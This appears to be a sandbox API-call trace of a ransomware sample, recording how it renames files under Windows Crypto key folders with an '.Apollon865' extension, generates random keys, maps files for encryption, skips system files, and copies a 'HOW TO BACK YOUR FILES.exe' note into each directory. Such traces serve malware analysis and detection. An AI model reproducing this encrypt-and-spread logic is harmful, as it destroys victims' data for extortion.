	[0085.155] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f.Apollon865") returned 129
	[0085.155] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f.apollon865"), dwFlags=0x1) returned 1
	[0085.157] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0085.158] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1053) returned 1
	[0085.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0085.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0085.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0085.158] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0085.159] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0085.159] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0085.159] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x720, lpName=0x0) returned 0x15c
	[0085.164] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x720) returned 0x100000
	[0085.165] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0085.165] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0085.165] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0085.165] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0085.166] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0085.166] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0085.166] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0085.166] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0085.166] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0085.166] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0085.166] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0085.166] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0085.166] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0085.166] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0085.166] CloseHandle (hObject=0x15c) returned 1
	[0085.166] CloseHandle (hObject=0x9c) returned 1
	[0085.166] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0085.166] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0085.166] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0085.167] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ff981b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0085.167] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0085.167] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ff981b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0085.167] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0085.167] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7970
	[0085.167] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys"
	[0085.167] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afce8 | out: hHeap=0x580000) returned 1
	[0085.167] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0085.167] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys") returned 51
	[0085.167] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys"
	[0085.167] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0085.167] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\machinekeys\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0085.168] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0085.168] GetLastError () returned 0x0
	[0085.168] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0085.168] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0085.169] CloseHandle (hObject=0x10c) returned 1
	[0085.169] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0085.169] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0085.169] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0085.169] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.169] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0085.169] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0085.169] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.169] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.169] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0085.169] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0085.169] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0085.169] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ff981b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0085.169] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0085.169] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ff981b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0085.169] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0085.170] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7950
	[0085.170] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys"
	[0085.170] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0085.170] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7948 | out: hHeap=0x580000) returned 1
	[0085.170] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys") returned 40
	[0085.170] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys"
	[0085.170] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0085.170] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\crypto\\keys\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0085.170] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0085.171] GetLastError () returned 0x0
	[0085.171] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0085.171] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0085.171] CloseHandle (hObject=0x10c) returned 1
	[0085.171] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0085.171] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0085.171] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0085.171] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.171] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0085.171] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0085.171] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.171] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.171] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0085.171] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0085.171] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0085.171] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ff981b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0085.171] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0085.171] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ff981b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0085.171] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0085.171] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c30
	[0085.171] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS"
	[0085.171] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc8b0 | out: hHeap=0x580000) returned 1
	[0085.172] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0085.172] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS") returned 39
	[0085.172] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS"
	[0085.172] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0085.172] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0085.172] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0085.172] GetLastError () returned 0x0
	[0085.172] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0085.173] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0085.173] CloseHandle (hObject=0x10c) returned 1
	[0085.173] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0085.173] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0085.173] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffbe310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0085.173] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.173] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0085.173] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0085.173] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffbe310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.173] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.173] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0085.173] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0085.173] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0085.173] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ffbe310, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0085.173] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0085.173] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffbe310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1
	[0085.173] lstrcmpiW (lpString1="MachineKeys", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0085.173] lstrcmpiW (lpString1="MachineKeys", lpString2="Apollon865.txt.exe") returned 1
	[0085.173] lstrcmpiW (lpString1="MachineKeys", lpString2=".") returned 1
	[0085.173] lstrcmpiW (lpString1="MachineKeys", lpString2="..") returned 1
	[0085.173] lstrcmpiW (lpString1="MachineKeys", lpString2="windows") returned -1
	[0085.173] lstrcmpiW (lpString1="MachineKeys", lpString2="bootmgr") returned 1
	[0085.173] lstrcmpiW (lpString1="MachineKeys", lpString2="temp") returned -1
	[0085.173] lstrcmpiW (lpString1="MachineKeys", lpString2="pagefile.sys") returned -1
	[0085.173] lstrcmpiW (lpString1="MachineKeys", lpString2="boot") returned 1
	[0085.174] lstrcmpiW (lpString1="MachineKeys", lpString2="ids.txt") returned 1
	[0085.174] lstrcmpiW (lpString1="MachineKeys", lpString2="ntuser.dat") returned -1
	[0085.174] lstrcmpiW (lpString1="MachineKeys", lpString2="perflogs") returned -1
	[0085.174] lstrcmpiW (lpString1="MachineKeys", lpString2="MSBuild") returned -1
	[0085.174] lstrlenW (lpString="MachineKeys") returned 11
	[0085.174] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*") returned 41
	[0085.174] lstrcpyW (in: lpString1=0x119e658, lpString2="MachineKeys" | out: lpString1="MachineKeys") returned="MachineKeys"
	[0085.174] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0085.174] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x5afce8
	[0085.174] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c30 | out: ListHead=0x5b75f0, ListEntry=0x5b7c30) returned 0x5b79b0
	[0085.174] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffbe310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0
	[0085.174] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0085.174] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c30
	[0085.174] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys"
	[0085.174] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afce8 | out: hHeap=0x580000) returned 1
	[0085.174] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0085.174] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys") returned 51
	[0085.174] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys"
	[0085.174] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
